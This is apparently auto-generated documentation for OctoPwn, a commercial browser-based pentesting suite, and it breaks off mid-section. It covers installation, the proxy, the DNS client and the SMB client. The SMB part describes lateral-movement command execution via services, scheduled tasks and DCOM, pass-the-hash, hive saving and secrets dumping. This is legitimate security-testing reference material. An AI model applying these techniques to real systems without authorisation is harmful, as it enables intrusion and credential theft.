# OctoPwn WASM Documentation — full documentation bundle > This file concatenates every page referenced from the mkdocs nav, in nav order. It is auto-generated by `scripts/generate_llms_txt.py --full`. For a curated index see `llms.txt`. --- # [Getting started] Getting Started Source: https://docs.octopwn.com/user-guide/gettingstarted.html # Getting Started with OctoPwn ![](img/octopwn-schematics.png) OctoPwn consists of three components. 1. The Octopwn Live website [available at live.octopwn.com](https://live.octopwn.com). This will load the octopwn application into your browser. Login with your your OctoPwn credentials or choose the free Community version. 2. Your browser. After loading the application all interaction and pentesting tools run locally in your browser. Octopwn will only communicate locally via the WSNet Proxy and all data entered is only stored in your browser. 3. A WebSocket-to-TCP translation proxy ([wsnet](https://github.com/octopwn/wsnet)) which will run on a host in the attack target's network. For getting started it is assumed that both will run on the same computer. The proxy is used to forward traffic into the target network only, all logic regarding attacks is implemented in the browser. You can download the client for your system as needed. ## Getting Started 1. Go to [live.octopwn.com](https://live.octopwn.com) and log in with you OctoPwn credentials. You can sign up at [octopwn.com](https://octopwn.com). ??? info "For Mac Users" Safari is currently not supported and will result in connection errors. You might need enable local network access for the browser you are using. Go to `System Settings > Privacy & Security > Local Network` and enable your browser here. You might need local administrative privileges to enable this. 2. Download and execute the [wsnet](https://github.com/octopwn/wsnet) client. This will by default open the local port 8700 for communication via websockets with your host machine. If you wish, you can also host the wsnet client on a different device. === "Python (source)" ```zsh git clone https://github.com/octopwn/wsnet cd wsnet python -m venv venv source venv/bin/activate pip install . wsnet-wssserver ``` === "Python (executable)" Download and execute the wsserver executable for your platform from: [https://github.com/octopwn/wsnet/releases/latest](https://github.com/octopwn/wsnet/releases/latest) === "PIP" ```bash python3 -m venv venv source venv/bin/activate pip install wsnet wsnet-wssserver ``` === "Go" ``` https://github.com/octopwn/wsnet-go/releases/latest ``` === ".NET" ``` https://github.com/octopwn/wsnet-dotnet/releases/latest ``` ??? info "For Mac Users" In order to run `pip3 install wsnet` you need to install XCode Developer Tools. macOS will prompt you to install them automatically when running `pip3 install wsnet`. You will have to add python user binary (`Users//Library/Python/3.9/bin`) files to your current path in the `~/.zshrc` file and start a new terminal session. 3. Go back to your browser and enter the address of your local wsnet client in the Networking section `ws://127.0.0.1:8700/` and _Launch OctoPwn_. !!! info If you wish to test OctoPwn features you can use our provided test network by connecting to `wss://goad.octopwn.com/demo`. --- ### Navigating the Interface - A detailed guide on how to navigate through OctoPwn's user interface will be provided at a later time. For getting started, add a credential and a target (e.g. the DC), then add a client, such as an SMB client. --- ### Core Functionalities You can find comprehensive information on core functionalities and usage here: * [Overview of clients](../plugins/clients/overview.md): Clients allow you to interact on a protocol-level with various single services such SMB, LDAP and Kerberos. * [Overview of scanners](../plugins/scanners/index.md): Scanners allow you to scan multiple hosts based on previously defined target groups. You can for example scan for admin priviliges with a specified user, scan for sensitive files across multiple hosts. * [Overview of servers](../plugins/servers/overview.md): Servers allow you to execute attacks that require a server component, such as NTLM Relaying and LLMNR/NBTNS Poisoning. This might require you to open a port on the firewall to receive the connections * [Overview of utilities](../plugins/utils/index.md): Utilities allow you to run additional functionality that partly run only in the browser, such as pypykatz for lsass analysis, access a local IDE or run roadtools for cloud pentesting. * [Overview of attacks](../plugins/attacks/overview.md): Attacks allows an easy one-click experience for common attacks, such as Kerberoasting, DCSync, SAM Dump, ... * Overview of proxies and proxy chains are coming soon: For now, if you want to tunnel your traffic over a proxy, e.g. when using a C2 or want to tunnel your connection over RDP (e.g. with https://github.com/airbus-seclab/soxy), simply add the proxy with ip address and port and choose your proxy id (shown in the Proxies section in the right popout menu) when connecting a client or a scanner. --- ### User Management #### Types of Users: - **Unregistered, Community Users:** Explore basic operations with our community edition at [live.octopwn.com](https://live.octopwn.com) without the need to register. - **Paid Users:** Access the full suite of tools and plugins for an extensive experience. You can choose from Starter, Pro or Enterprise licenses. For a detailed feature comparison, see our website [here](https://octopwn.com/features-and-pricing). If you have purchased multiple licenses, you can assign one unassigned license to a user by inviting them from your account page on our [website](https://octopwn.com/account/login). 4. Click on the chosen license on the "Assign license user" button you want to assign. 5. Enter the email address of the invited person. 6. The invited person will get an email shortly where they can set up an account and the license will get assigned and can be used immediately. Please note: - License validity starts for the date of purchase and not the date of assignment. - License owners can be changed in the same way every 30 days in case a colleague leaves or do not with to use the license anymore. --- ### Support and Help If you cannot find the answer you are looking for in this documentation site, please feel free to: 7. Write us an email to support at octopwn dot com. 8. Contact us through the website at [https://octopwn.com/support](https://octopwn.com/support). 9. Ask your question on our [Discord support channel](https://discord.gg/7amw5mD37Y). --- ### Troubleshooting and FAQs - Coming soon. --- # [Getting started] Modes of Operation Source: https://docs.octopwn.com/user-guide/modesofoperation.html # # Modes of operation # Without Networking (Offline) No network connections will be made to other hosts. Nothing extra to configure. # With Networking (Online) In this mode the wasm code running in the browser relies on a custom websocket to tcp proxy for communicating over the network. This is needed as browsers do not allow raw TCP/UDP sockets to be created which are needed for the common protocols you'd use on a pentest. For detailed setup instructions, please visit [our installation guide](https://docs.octopwn.com/setup/install.html). # Remote This mode turns the OctoPwn webpage into a UI for a remote server. Currently in closed beta. --- # [Getting started] Install Source: https://docs.octopwn.com/setup/install.html # Installing/deploying OctoPwn (all editions) Octopwn is a versatile suite of tools with multiple startup options. The best way to start using it depends on your starting environment, the target networks and the type of license you obtained. ## Pro license, self-hosting You must download the `offline bundle` zip file from our [website](https://octopwn.com) from your account by clicking on the license you have purchased. This bundle contains three files: 1. `octopwn.zip` This file contains the entire [live website](https://live.octopwn.com) aka Octopwn. It is always the latest version. This also contains the `license.zip` and `plugins.zip` which are created for your user. The license you get from downloading this bundle works for one week, after which you must download the `offline bundle` again to continue using this product. (In the Enterprise edition, the license is valid for the full year). 2. `wsnet.exe` This executable is a precompiled version of the [WSNET proxy](https://github.com/octopwn/wsnet-dotnet). This can be used to allow OctoPwn to perform network communication. 3. `zipserver.exe` A simple webserver that is capable to serve files directly from a zip file, this is the compiled version of [this project](https://github.com/octopwn/zipserver). It is used to "host" the `octopwn.zip` file. As you may have noticed, the `offline bundle` is geared towards Windows usage. This is because on other operating systems we recommend using the Python3 version of `zipserver` and `wsnet`. These can be easily precompiled to the target OS using `pyinstaller`. ### Deploying the self-hosted version - Windows Deployment of the self-hosted version is fairly simple. 1. Start the `zipserver` which will host your own OctoPwn website. Command: `zipserver.exe octopwn.zip` 2. Start the `WSNET proxy` which will host the Websockets->TCP proxy. Command: `wsnet.exe` (*Note: This command may change in the future*.) 3. Visit your own OctoPwn instance on `http://localhost:8000` ### Deploying the self-hosted version - Other OS When using the self-hosted version on operating systems such as Linux or Mac, you will need to decide wether you wish to install `python3` or not (or maybe it's already installed). In case you have `python3` and can use `pip`, you can easily install the `wsnet` and `zipserver` utilities by typing * `python3 -m pip install wsnet pyzipserver` In case you do not have `python3` installed or you do not wish to use the pre-build packages, you will have to create your own binaries from the [`zipserver`](https://github.com/octopwn/pyzipserver) and [`wsnet`](https://github.com/octopwn/wsnet) packages yourself. ## All license types (community included) - With Networking (Online) 1. Execute any version of the `wsnet` proxy on the system you have direct connection to. This is usually your own computer, but it can be any other system as long as you can directly connect to the `wsnet` proxy's listening port. You have the option to change this port (and listen address) of the proxy on the startup screen of Octopwn. 2. Visit the [https://live.octopwn.com](https://live.octopwn.com) website, and log in with your credentials. 3. When prompted, enter the address (hostname:port) of the `wsnet` proxy you started earlier. Depending on your setup, you might need to connect to the proxy via TLS, in this case prepend `wss://` to the address, if you started the `wsnet` proxy without TLS, you will need to use `ws://`. !!! warning IMPORTANT: *If you loaded the live version of OctoPwn via ***https***, you can only connect to wsnet proxy over secure TLS connection, unless it's listening on localhost. But even in the latter case, you MUST use ws://localhost:port, not the IP.* ## All license types (community included) - Without Networking (Offline) If you do not wish to use any of the network related functions of OctoPwn, you only need to visit the [https://live.octopwn.com](https://live.octopwn.com) website and select the `No networking` option on the startup screen. ## Remote version - Under development Remote version allows the OctoPwn webUI to connect to a remote OctoPwn server. This version is currently not public and will be available in the beta version soon. --- # [Clients] Overview Source: https://docs.octopwn.com/plugins/clients/overview.html At its heart, the **Clients** section serves as the command center for communication with different protocols. These clients are not standalone tools but rather modular components that work together seamlessly to execute complex tasks during a pentest. They can be used in conjuction with the scanners, attacks and servers to achieve the goals of the pentest. ### Getting Started 1. Add **credentials** (e.g., passwords, hashes, certificates) to the Credentials Hub. 2. Define **targets** (IP/hostname) in the Targets section. 3. Launch a client (e.g., SMB, LDAP) with the selected credentials and target. To use OctoPwn's clients effectively, you must first add credentials and define targets within the framework. Credentials can include passwords, NT Hashes, AES Keys, or certificate-based keys like P12/PFX, which are stored in a centralized hub for easy access across OctoPwn. Targets represent the systems or networks you intend to attack, and they require precise configuration, such as hostnames and domain controllers, especially when using authentication protocols like Kerberos. The clients themselves are designed to interact with these credentials and targets to perform specific tasks. For example: - **Authentication Plugins**: Clients can be configured to use different authentication methods (e.g., SMB or Kerberos) based on the target environment. - **File Browsers**: Some clients expose a file browser in the files menu for easy navigation on remote file systems to search for sensitive data. You can use multiple clients together to achieve your pentesting goals. For instance, you might start by using a client with LDAP connected to the DC to enumerate ADCS, then switch to the SMB client connected to the ADCS server to abuse the identified vulnerability. You can also deploy a [scanner](../scanners/index.md) to search for vulnerabilities across multiple systems. OctoPwn simplifies complex tasks like credential management and pivoting through its integrated support for proxies, such as SOCKS5 and reverse SOCKS proxies. This allows pentesters to chain multiple proxies and navigate through network layers with ease, effectively redefining network pivoting in a way that feels almost seamless. --- # [Clients] DNS Source: https://docs.octopwn.com/plugins/clients/dns.html # DNS Client The **DNS Client** is a thin wrapper around [unidns](https://github.com/skelsec/unidns) that gives OctoPwn an interactive console for talking to a specific DNS server. You'll usually create one for two reasons: to perform ad-hoc forward and reverse lookups against an *internal* DNS server during recon, and to plug that server in as the **framework-wide name resolver** so every other module (clients, scanners, attacks) routes its name lookups through it. The default port is `53` and **no credential is required** — DNS is unauthenticated, so the client uses the `NONE` authentication type. Just add the DNS server as a target, create a session against it, and every command works immediately. !!! info "Transport" Both **TCP** and **UDP** are supported. TCP is the default — it sidesteps the 512-byte UDP truncation problem at the cost of a slightly slower handshake, which is what you usually want when querying internal servers through SOCKS proxies or wsnet. --- ## Features - Single A / AAAA / PTR queries with auto-detection of the query type from the input. - Bulk hostfile / IP / CIDR resolution to disk, optionally ingesting every result as a new target. - Back-fill of missing IPs or hostnames on targets that are already in your project. - Pluggable as the framework-wide resolver, replacing the default fallback chain. --- ## Wiring it up as the global resolver OctoPwn resolves hostnames in many places — when you `addtarget foo.corp.local`, when a scanner expands `g:webservers`, when an attack module dereferences a UNC path, and so on. By default these lookups go through one of two fallback resolvers: | Edition | Default resolver | | -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------- | | **Pro** | The wsnet-based resolver — effectively Python's `socket` resolver running **inside the wsnet proxy process** (so it inherits *that* host's DNS configuration). | | **Enterprise** | Python's `socket` resolver running on the **OctoPwn server itself**. | Both fallbacks are fine for resolving public names, but they will *not* see your target environment's internal DNS zones. To fix that, point the global resolver at a DNS client session: 1. **Create a DNS client** against the internal DNS server (typically a domain controller). 2. **Note its session ID** — visible in the Sessions Window or returned when you create the session from the CLI. 3. **Set it as the resolver** in one of two ways: - From the main console: `resolver `. Run `resolver` with no argument to see the current value. - From the GUI: *Global Settings → Set Resolver* and enter the session ID. 4. From this point on every name lookup in the framework is forwarded to that DNS session — `resolve foo.corp.local` on the main console, `addtarget` with a hostname, scanner-side hostname expansion, and so on. To revert to the built-in fallback, run `clearresolver` on the main console (or clear the field in the GUI). !!! tip "Verifying the wiring" After setting the resolver, run `resolve ` on the main console — if it answers with the right IP, the rest of the framework will follow suit. --- ## Commands The DNS client groups its commands into three categories matching how you typically use it: ad-hoc lookups (`BASIC`), back-filling existing targets (`TARGETS`), and bulk file-based work (`FILE`). ### BASIC #### query Sends a single DNS query and prints the result to the console. If `qtype` is omitted, the client picks one for you: a `PTR` lookup if `name` parses as an IP address, otherwise an `A` lookup. Pass `qtype` explicitly when you want something else. ##### Parameters - **name**: The DNS name (or IP, for reverse lookups) you want to resolve. - **qtype**: The query type. Supported values are `A`, `AAAA` and `PTR`. Auto-detected from `name` when left empty. - **search**: A comma-separated list of DNS suffixes. **Only applied to `A` and `AAAA` queries** — each suffix is appended to `name` (`name.suffix`) and queried in turn, which is handy when you want to expand short names against several internal zones in one shot. Leave empty for fully qualified lookups. ##### Examples ```text # Forward lookup SQL > query dc01.corp.local [A] dc01.corp.local -> 10.10.10.5 # Reverse lookup (qtype auto-selected as PTR) SQL > query 10.10.10.5 [PTR] 10.10.10.5 -> dc01.corp.local. # Short-name expansion against multiple zones SQL > query dc01 A corp.local,dev.corp.local [A] dc01.corp.local -> 10.10.10.5 [A] dc01.dev.corp.local -> 10.20.10.5 ``` --- ### TARGETS #### resolvtargets Walks every target in the current project that has only an IP **or** only a hostname (but not both) and uses the DNS server to fill in the missing half. Targets that are already fully resolved or marked as hidden are skipped. This is the fastest way to enrich a target list you imported from a port scan or an external scanner — give them all hostnames in one pass before kicking off domain-aware modules. ##### Parameters - **targetspec**: Which targets to operate on. Defaults to `all`. Accepts the standard target-spec formats: - **ID**: target ID from the Targets Window. - **IP**: single IP (`192.168.1.1`). - **CIDR**: range in CIDR notation (`192.168.1.0/24`). - **Hostname**: a resolvable hostname. - **Control word**: `all` for every stored target. - **Single group**: `g:`. - **Multiple groups**: `g:,g:`. - **Port group**: `p:` or `p:/`. - **search**: Comma-separated DNS suffix list — same semantics as `query.search`, only applied when filling in an IP from a hostname. --- ### FILE #### resolvfile Bulk-resolves a file of hostnames, IP addresses and CIDR ranges. Hostnames are resolved A/AAAA, IPs PTR, and CIDR ranges are **expanded to every individual address** before resolving — so `10.0.0.0/24` produces 256 PTR queries. The output is written tab-separated to `_resolved.txt` next to the input file. ##### Parameters - **filename**: Path to the input file. One name / IP / CIDR per line; blank lines are skipped. - **store**: When `True`, every successfully resolved entry is also added to the project as a new **Target** (sourced as `resolvfile` against the current DNS session ID), and the Targets Window is refreshed at the end. Defaults to `False` — flip it on when you're using `resolvfile` to seed a target list rather than just dump a CSV. - **search**: Comma-separated DNS suffix list. Same semantics as `query.search`. !!! warning "CIDR expansion" There is no upper bound on the size of the network you can pass — a `/16` will issue 65 536 PTR queries against the DNS server. Throttle yourself by splitting the input file or by using a smaller CIDR if you don't want to be noisy. --- ## Limitations - The console wrapper only exposes `A`, `AAAA` and `PTR`. Other record types (`SRV`, `MX`, `TXT`, `CNAME`, `NS`, …) aren't reachable from these commands today — for SRV/zone enumeration against Active Directory, use the LDAP client's `dnsdump` / `dnszones` / `dnsqueryall` commands instead. - **DNS zone transfers (`AXFR` / `IXFR`) are not supported yet.** If you need a full zone dump against an Active Directory DNS server, fall back to the LDAP client's `dnsdump`. - DNSSEC validation and EDNS0 customisation are not exposed by the wrapper. --- # [Clients] SMB Source: https://docs.octopwn.com/plugins/clients/smb.html # SMB Client The **SMB Client** is OctoPwn's full-fat SMB / DCERPC-over-SMB swiss-army knife — built on top of [`aiosmb`](https://github.com/skelsec/aiosmb) and exposing virtually every interactive primitive the library implements: file operations, user / group / session enumeration, the full SCM (services), Task Scheduler, Remote Registry, Print Spooler (incl. PrinterBug + PrintNightmare), AD CS certificate enrollment (ESC1 / ESC3 in this client), NTLM-relay coercion, six different DCERPC-based command-execution methods, three independent secrets-dumping engines, DPAPI harvesting, GPP `cpassword` decryption, BloodHound-equivalent VHDX offline secretsdump, snaffler-style file scanning, WMI queries, shadow-copy management, and an "agent over SMB named pipe" tunnel. This is the largest client in OctoPwn — almost 100 callable commands. The page is organised so the [Transport](#transport), [Authentication](#authentication) and [GUI](#gui-experience) sections come first, then every command grouped by its `help` category, then a short [Additional commands](#additional-commands) section for utilities that are callable but not listed in `help`. --- ## Transport Three module names map to the same underlying client — they only differ in the dialect string OctoPwn uses to seed `aiosmb`: | Module name | Dialect family | Default port | | ----------- | -------------------- | ------------ | | `SMB` | SMB2 / SMB3 (auto) | `445` | | `SMB2` | SMB2 / SMB3 (auto) | `445` | | `SMB3` | SMB2 / SMB3 (auto) | `445` | !!! note "There is no SMB1" In the GUI the protocol picker offers `SMB`, `SMB2` and `SMB3`. Despite the name, **`SMB` is not SMB1** — SMB1 is not implemented. All three are functionally identical and end up using `aiosmb`'s SMB2 / SMB3 auto-negotiation (the server picks the highest mutually-supported dialect during the negotiate exchange). The three module entries exist for backwards compatibility with older session blobs and for parameter symmetry with other transports. --- ## Authentication Two `atype`s are supported — both Microsoft-Windows authentication mechanisms. There is no PLAIN, no SIMPLE, no anonymous bind here (anonymous SMB *can* be done with `none` / no creds, but it is selected at the credential level, not via `atype`). ### `NTLM` — NTLM SSP Standard NTLM SSP — the workhorse for everything from local-machine accounts to AD users. | Secret type | Description | | --------------- | --------------------------------------------------------------- | | `password` | Cleartext password. | | `pwhex` | Hex-encoded UTF-16LE password. | | `nt` / `rc4` | NT hash (pass-the-hash). | | `agentproxy` | Remote NTLM signer over the wsnet agent proxy. | | `sspiproxy` | OS SSPI session via the wsnet agent proxy (Windows agent only). | ### `KERBEROS` — Kerberos via SASL GSSAPI Standard Kerberos / SPNEGO. Requires reachability to a KDC (set on the credential / target) and the SMB SPN `cifs/@` (auto-built for you). | Secret type | Description | | --------------- | --------------------------------------------------------------- | | `password` | Cleartext password. | | `pwhex` | Hex-encoded UTF-16LE password. | | `nt` / `rc4` | NT/RC4 hash. | | `aes128` | AES128 long-term key. | | `aes256` | AES256 long-term key. | | `keytab` | Keytab file in OctoPwn volatile storage. | | `keytabb64` | Base64-encoded keytab inline. | | `ccache` | MIT ccache file in OctoPwn volatile storage. | | `ccacheb64` | Base64-encoded ccache inline. | | `kirbi` | `.kirbi` ticket file (Rubeus-style). | | `kirbib64` | Base64-encoded `.kirbi` inline. | | `pfxb64` | Base64-encoded PFX (PKINIT certificate auth via Kerberos). | | `agentproxy` | Remote KDC over the wsnet agent proxy. | | `sspiproxy` | OS SSPI session via the wsnet agent proxy (Windows agent only). | --- ## GUI experience SMB does **not** ship a custom React component — it uses OctoPwn's generic client session window. The header carries the standard tabs plus a single SMB-specific addition (**Services**): - **Commands** — clickable buttons for every CLI command, grouped exactly like the [Commands](#commands) section below. - **Files** — a full SMB file browser. Tree-style sidebar with shares as the root, expandable directories, and a right-hand pane that shows the contents of the selected directory with sortable name / size / date columns and a list / grid view toggle. Right-click context menu offers download, upload (drag-and-drop is also supported), delete, rename, mkdir. View-in-place works for text files. The browser does **not** use the regular `cd` / `ls` / `get` / `put` console commands — instead, it talks to the backend over a dedicated streamed-RPC channel (`remoteShares`, `remoteListDirectory`, `remoteDownloadFile`, `remoteOpenFile`, `remoteReadFile`, `remoteCreateFile`, `remoteCloseFile`, `remotedeleteFile`, `remotedeleteDirectory`, `remotecreateDirectory`) so that browser navigation does not interfere with the console state. - **Services** — SMB-only tab. Renders the catalogue produced by [`services`](#services) with searchable name / display-name / status columns and a Refresh button (re-runs `services` on demand). - **Jobs** — long-running background commands and a stop button. - **History** — full command history for the session. - **Debug** / **Settings** — protocol-level debug output and connection parameters. - **AI** — appears when an LLM provider is configured globally. Uses the SMB-specific system prompt baked into the backend (`OCTOPWN_SMB_LLM_PROMPT`) so the assistant only proposes SMB commands. Tab-completion in the console is share / directory / file aware — typing `use ` cycles through known shares, `cd ` cycles through subdirectories of the current directory, `get ` / `del ` cycle through files. --- ## Commands Every command below is callable from the session console (and most from the **Commands** GUI tab as a button). The grouping mirrors the `help` output of the running session. All commands return `(result, error)` on the backend. Many also accept `to_print=False` to suppress the human-readable output while still returning the structured result. --- ### CONNECTION #### login Opens the SMB connection, performs the chosen authentication exchange, fetches the share list (unless [`nodce`](#nodce) was issued first), and starts a connection-monitor task that auto-fires `logout` if the server drops the link. #### logout Closes every open file handle, cancels the connection monitor, terminates the underlying `SMBConnection`, and resets the connection-status pill. #### nodce Disables automatic share listing on login. Useful when authenticating as a user that has access to a single share but not to `IPC$` — without this flag the auto-`shares` call inside `login` fails and the session is torn down. Must be issued before `login`. --- ### FILE OPERATIONS #### shares Lists every accessible SMB share (`srvsvc.NetrShareEnumAll`) and caches the result for tab-completion. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print the share list. #### use Mounts a share by name (case-insensitive). Connects the share, switches into its root directory, refreshes the directory listing, and changes the prompt to `[\\\] $`. ##### Parameters - **share_name**: Name of the share (e.g. `C$`, `ADMIN$`, `Users`). #### cd Change directory inside the currently-mounted share. Accepts `..` to go up one level. Refreshes the new directory's contents on entry. ##### Parameters - **directory_name**: Name of the subdirectory (relative to the current directory). #### ls List the current directory's contents (cached from the last refresh; use [`refreshcurdir`](#refreshcurdir) to force a re-list). ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### dir Alias for [`ls`](#ls). ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### refreshcurdir Re-lists the current directory from the server (flushes the local cache). ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print "Directory refreshed!" on success. #### get Downloads a file from the current directory to the OctoPwn working directory. Supports `fnmatch`-style globs (`*.txt`, `secret*.bak`) — every match is downloaded sequentially. The optional volume-shadow timestamp suffix `@@` (parsed by `aiosmb.commons.utils.tschecker.tssplit`) downloads from a specific snapshot revision (see [`snapshots`](#snapshots)). Prints throughput every 2 seconds during transfer. ##### Parameters - **file_name**: File name in the current directory. May be a glob, optionally suffixed with `@@` for snapshot reads. #### put Uploads a local file (resolved against the OctoPwn working directory) into the current SMB directory under the same basename. Reads in 65 MiB chunks; prints throughput every 2 seconds. ##### Parameters - **file_name**: Local file path (relative to OctoPwn working directory). #### del Deletes a file from the current directory. Refreshes the directory afterwards. ##### Parameters - **file_name**: File name in the current directory. #### mkdir Creates a subdirectory under the current directory. ##### Parameters - **directory_name**: Name of the new directory. #### getfilesd Fetches the security descriptor of a file in the current directory and prints it as SDDL. ##### Parameters - **file_name**: File name in the current directory. #### getdirsd Fetches the security descriptor of the current directory and prints it as SDDL. #### enumall Recursively walks every share and every directory, printing each entry's full UNC path with a `[F]` / `[D]` marker. Use sparingly on production hosts — every directory triggers an SMB round-trip. ##### Parameters - **depth** *(optional, int, default `3`)*: Recursion depth (per share). #### snapshots Lists every Volume Shadow Copy that backs the current share or directory. Each entry is a timestamp string that can be appended to a [`get`](#get) target as `@@` to download the snapshotted version of a file. ##### Parameters - **path** *(optional, str, default `\`)*: Optional path inside the share (defaults to the share root). --- ### USER / GROUP MANAGEMENT All listing commands here use SAMR / LSARPC over `\PIPE\samr` and `\PIPE\lsarpc` — they require a fully-functional DCE/RPC channel. #### users Lists every user account in the named domain (or the host's primary domain when omitted). Prints ` ` per row. ##### Parameters - **domain** *(optional, str)*: Domain name. Default: enumerate the primary domain. - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### domains Lists every domain known to the host (the primary domain plus `Builtin`). ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### domaingroups Lists every group inside a named domain. ##### Parameters - **domain_name**: Domain name (e.g. `CONTOSO`, `Builtin`). - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### groupmembers Lists members of an arbitrary group. ##### Parameters - **domain_name**: Domain name. - **group_name**: Group name. - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### localgroups Lists every local group (members of the `Builtin` domain). ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### localgroupmembers Lists members of a single local group (resolves under the `Builtin` domain). ##### Parameters - **group_name**: Local group name (e.g. `Administrators`, `Backup Operators`). - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### sessions Lists every active SMB session against the target (`srvsvc.NetrSessionEnum`). Useful for finding which users are currently logged on and from which IPs. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### whoami Calls the LSARPC `LsarGetUserName` extended op plus a token-info lookup — returns the bound principal's username, domain, SID, and resolved group memberships. Caches the result on the session for later use. ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### addsidtolocalgroup Adds a SID to a local (`Builtin`) group via SAMR (`SamrAddMemberToAlias`). Requires Administrators / `SeTakeOwnershipPrivilege`-equivalent rights. ##### Parameters - **group_name**: Local group name. - **sid**: SID to add. --- ### SERVICE OPERATIONS All service commands use the SCM (`\PIPE\svcctl`). #### services Lists every service on the target with name / display name / current status. Optionally also returns the full per-service config (exec path, start type, etc.) at the cost of an extra round-trip per service. Streams the result to the GUI **Services** tab in 100-row batches. ##### Parameters - **with_config** *(optional, bool, default `False`)*: Also fetch each service's configuration block. - **to_print** *(optional, bool, default `True`)*: Whether to print the result table. #### servicegetstatus Fetches a single service's full configuration block. ##### Parameters - **service_name**: Service short name (e.g. `RemoteRegistry`). - **to_print** *(optional, bool, default `True`)*: Whether to print the config. #### servicestart Starts a stopped service. ##### Parameters - **service_name**: Service short name. - **to_print** *(optional, bool, default `True`)*: Whether to print "Service started". #### serviceen Enables a disabled service (changes the start type to `SERVICE_DEMAND_START`). Pair with [`servicestart`](#servicestart) to actually start it after enabling. ##### Parameters - **service_name**: Service short name. - **to_print** *(optional, bool, default `True`)*: Whether to print "Service enabled". #### servicecreate Creates a new service with the given binary path. The service is created with `SERVICE_DEMAND_START`; use [`servicestart`](#servicestart) to actually run it. ##### Parameters - **service_name**: Service short name. - **command**: Command line / binary path the service will execute. - **display_name** *(optional, str)*: Display name. Defaults to the short name. - **to_print** *(optional, bool, default `True`)*: Whether to print "Service created!". #### servicedeploy Uploads a local binary into the current SMB directory and creates a service that points to it (in one shot). The service still needs to be started via [`servicestart`](#servicestart). ##### Parameters - **path_to_exec**: Local path to the binary (relative to OctoPwn working directory). - **remote_path**: Remote filename — used as the binary basename inside the current directory. - **to_print** *(optional, bool, default `True`)*: Whether to print "Service deployed!". #### servicedel Stops (if running) and deletes a service. ##### Parameters - **service_name**: Service short name. - **to_print** *(optional, bool, default `True`)*: Whether to print "Service deleted!". --- ### COMMAND EXECUTION OctoPwn ships **seven** different remote-command-execution primitives over the SMB session — pick the one your target lets you use and your detection budget allows. All of them upload their stdout via SMB and stream it back to the console. #### servicecmdexec Classic PSExec-style execution: creates a temporary service whose binary is `cmd.exe /c > `, starts it, reads `` from the share, deletes the file and the service. Loud (creates EID 7045 service-installed events). ##### Parameters - **command**: Shell command to execute. - **timeout** *(optional, int, default `1`)*: Read timeout in seconds. - **to_print** *(optional, bool, default `True`)*: Whether to print stdout. #### taskcmdexec Same primitive but uses the Task Scheduler instead of the SCM (registers a one-shot task, runs it, deletes it). Quieter than `servicecmdexec` for some EDRs. ##### Parameters - **command**: Shell command to execute. - **timeout** *(optional, int, default `2`)*: Read timeout in seconds. - **to_print** *(optional, bool, default `True`)*: Whether to print stdout. #### taskcmdexecas Like `taskcmdexec`, but registers the task to run **as a different user** (by SID). Used to escalate from `SYSTEM` to a logged-on user (or vice-versa) without needing that user's password. ##### Parameters - **run_as_sid**: SID of the principal to run the task as. - **command**: Command to execute. - **arguments** *(optional, str)*: Arguments to the command. - **cleanup** *(optional, bool, default `True`)*: Delete the task afterwards. - **to_print** *(optional, bool, default `True`)*: Whether to print the result. #### wmicmdexec Runs the command via WMI's `Win32_Process.Create` over DCOM (i.e. the classic `wmic process call create` primitive). Returns the spawned PID and the WMI return value. **Does not** capture stdout — pair with `> \\?\C:\…\out.txt` redirection and a follow-up [`get`](#get) if you need the output. ##### Parameters - **command**: Command to execute. - **to_print** *(optional, bool, default `True`)*: Whether to print the result. #### mmc20cmdexec DCOM lateral-movement classic — uses the `MMC20.Application` COM object's `ExecuteShellCommand` method. Same caveat as `wmicmdexec`: no stdout capture. ##### Parameters - **command**: Command to execute. - **to_print** *(optional, bool, default `True`)*: Whether to print the result. #### shellwindowscmdexec DCOM lateral-movement via the `Shell.Application` -> `ShellWindows` -> `Document.Application.ShellExecute` chain. No stdout capture. ##### Parameters - **command**: Command to execute. - **to_print** *(optional, bool, default `True`)*: Whether to print the result. #### shellbrowserwindowscmdexec DCOM lateral-movement via `ShellBrowserWindow` -> `Document.Application.ShellExecute`. No stdout capture. ##### Parameters - **command**: Command to execute. - **to_print** *(optional, bool, default `True`)*: Whether to print the result. --- ### REGISTRY OPERATIONS These commands talk to the Remote Registry service via `\PIPE\winreg`. The `RemoteRegistry` service must be running on the target — [`regdump`](#regdump) starts it for you, the others assume it is already up. #### reglistusers Enumerates `HKEY_USERS` and lists every user-hive SID, plus resolves each SID back to a sAMAccountName when possible. Effectively "who has ever logged on to this machine". ##### Parameters - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### regsave Saves a registry hive to a file on the remote host (uses `RegSaveKey`). Output path must be writable by the calling user. ##### Parameters - **hive_name**: Hive to save (e.g. `HKLM\SAM`, `HKLM\SYSTEM`, `HKLM\SECURITY`). - **file_path**: Remote output path (e.g. `C:\Windows\Temp\sam.bin`). #### regquery Enumerates the subkeys of a registry path. ##### Parameters - **path**: Full registry path (e.g. `HKLM\SOFTWARE\Microsoft`). - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### regenumvalues Enumerates every value of a registry key. Long values are truncated in the console (use [`reggetvalue`](#reggetvalue) to get the full payload). ##### Parameters - **path**: Full registry path. - **to_print** *(optional, bool, default `True`)*: Whether to print results. #### reggetvalue Reads a single registry value. ##### Parameters - **path**: Full registry path. - **value_name**: Value name. - **to_print** *(optional, bool, default `True`)*: Whether to print result. #### regsetvalue Writes to an existing registry value (preserves the existing value type — for `BINARY` values, supply the new payload as a hex string). ##### Parameters - **path**: Full registry path. - **value_name**: Value name. - **value_data**: New value (hex-encoded for `BINARY` types). - **to_print** *(optional, bool, default `True`)*: Whether to print "Value set!". #### regdeletevalue Deletes a registry value. ##### Parameters - **path**: Full registry path. - **value_name**: Value name. - **to_print** *(optional, bool, default `True`)*: Whether to print "Value deleted!". #### regdeletekey Deletes a subkey of the 